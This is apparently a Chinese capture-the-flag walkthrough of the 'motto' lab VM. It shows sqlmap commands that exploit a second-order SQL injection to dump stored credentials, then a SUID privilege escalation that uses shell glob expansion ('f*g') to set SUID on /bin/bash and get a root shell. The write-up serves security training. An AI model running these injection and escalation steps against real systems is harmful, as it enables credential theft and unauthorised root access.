一、信息收集
1. 主机发现
使用 arp-scan 对本地网络进行扫描,识别出目标主机的 IP 地址。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.237 08:00:27:C5:BA:A3 PCS Systemtechnik/Oracle VirtualBox virtual NIC
...目标主机IP: 192.168.205.237
2. 端口与服务扫描
使用 nmap 对目标主机进行全端口扫描,以识别开放的端口及运行的服务。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.237
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.205.237
Host is up (0.0016s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin扫描结果汇总:
| 端口 | 状态 | 服务 | 推断 |
|---|---|---|---|
| 22/tcp | open | ssh | 远程管理服务,可用于后续登录 |
| 80/tcp | open | http | Web 服务,为一个 JavaScript 小游戏,未发现漏洞 |
| 9090/tcp | open | zeus-admin (http) | 另一个 Web 服务,是本次攻击的主要入口 |
二、初始访问与漏洞利用
Web 渗透 (Port 9090): 二阶 SQL 注入
1. 漏洞发现
访问 http://192.168.205.237:9090,经过手动功能测试,发现该 Web 应用存在两个关键页面:
/myinfo:允许已认证用户修改自己的昵称 (nickname)。/mymottos:显示用户的昵称和座右铭信息。
测试发现,在 /myinfo 页面提交的 nickname 参数未经过滤就存入了数据库。当用户访问 /mymottos 页面时,系统从数据库中读取该昵称并拼接到 SQL 查询中,从而触发了 SQL 注入。这是一个典型的二阶 SQL 注入 (Second-Order SQL Injection)。
2. sqlmap 漏洞利用
由于该注入需要先在一个页面(/myinfo)提交 Payload,然后在另一个页面(/mymottos)观察结果,因此需要使用 sqlmap 的 --second-url 参数进行自动化利用。同时,所有请求都需要有效的 JWT Cookie 进行身份验证,可以通过抓取一个合法的请求包并使用 -r 参数加载。
sqlmap 利用步骤:
-
抓取请求包:使用 Burp Suite 等工具抓取一个从
/myinfo页面修改昵称的 POST 请求,并保存为1.txt。 -
获取数据库信息:
sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos" --dbs -
获取表信息:
sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos" -D sql --tables -
转储凭证数据:从
register_infos表中转储用户凭证。sqlmap -r 1.txt --batch --second-url "http://192.168.205.237:9090/mymottos" -D sql -T register_infos --dump
通过上述操作,成功获取到用户 redbean 的 SSH 登录凭证。
3. 获取初始访问 Shell
使用获取到的凭证,成功通过 SSH 登录到目标主机。
┌──(kali㉿kali)-[/tmp]
└─$ ssh redbean@192.168.205.237
...
redbean@motto:~$ id
uid=1001(redbean) gid=1001(redbean) groups=1001(redbean)三、权限提升
1. SUID 文件发现与代码审计
登录后,首先搜索系统中的 SUID 文件以寻找提权向量,发现一个非标准的程序 /opt/run_newsh。
redbean@motto:~$ find / -perm -4000 -type f 2>/dev/null
...
/opt/run_newsh
...在 redbean 的家目录中发现了一个 .backup 文件夹,其中包含了 run_newsh.c 和 new.sh 的源代码,且文件可读。
run_newsh.c:此 C 程序的功能是设置有效用户ID为 root (setuid(0)),然后执行/opt/newsh脚本,并将命令行传入的第一个参数 (argv[1]) 传递给该脚本。new.sh:脚本的核心逻辑如下:[ "$1" = "flag" ] && exit 2 [ $1 = "flag" ] && chmod +s /bin/bash
2. 漏洞分析:Shell 路径名扩展
上述脚本中存在一个经典的安全漏洞:
- 第一行
[ "$1" = "flag" ]:使用了双引号包裹变量$1,这会将其视为一个完整的字符串。因此,"f*g"不会等于"flag",检查会失败,脚本继续执行。 - 第二行
[ $1 = "flag" ]:没有使用双引号。当$1的值包含通配符(如*或?)时,Shell 会在执行[(test) 命令前进行路径名扩展。如果当前目录下存在一个名为flag的文件,那么f*g就会被扩展为flag,导致[ flag = flag ]的判断为真。
3. 漏洞利用
利用此特性,可以通过以下步骤为 /bin/bash 添加 SUID 位:
-
切换到可写目录:切换到
/tmp目录,以确保我们有权限创建文件,并且避免干扰其他目录结构。redbean@motto:~$ cd /tmp
-
创建触发文件:创建一个名为
flag的文件,为路径名扩展提供匹配目标。redbean@motto:/tmp$ touch flag
-
执行SUID程序:使用一个能匹配到
flag文件的通配符(如f*g)作为参数执行/opt/run_newsh。redbean@motto:/tmp$ /opt/run_newsh "f*g"此命令成功绕过了第一行检查,并在第二行检查时触发了路径名扩展,执行了
chmod +s /bin/bash。 -
验证并获取 Root Shell:检查
/bin/bash的权限,确认已设置 SUID 位。然后使用-p参数启动bash以保留euid(有效用户ID)为 root。redbean@motto:/tmp$ ls -al /bin/bash -rwsr-xr-x 1 root root 1168776 ... /bin/bash redbean@motto:/tmp$ bash -p bash-5.0# id uid=1001(redbean) gid=1001(redbean) euid=0(root) groups=1001(redbean) bash-5.0# whoami root
成功获取 root 权限的 shell。
四、夺取旗帜
获取 root 权限后,读取位于用户家目录和 root 目录下的旗帜文件。
root@motto:/# cat /home/redbean/user.txt
flag{user-flag-placeholder-for-motto-user}
root@motto:/# cat /root/root.txt
flag{root-flag-placeholder-for-motto-root}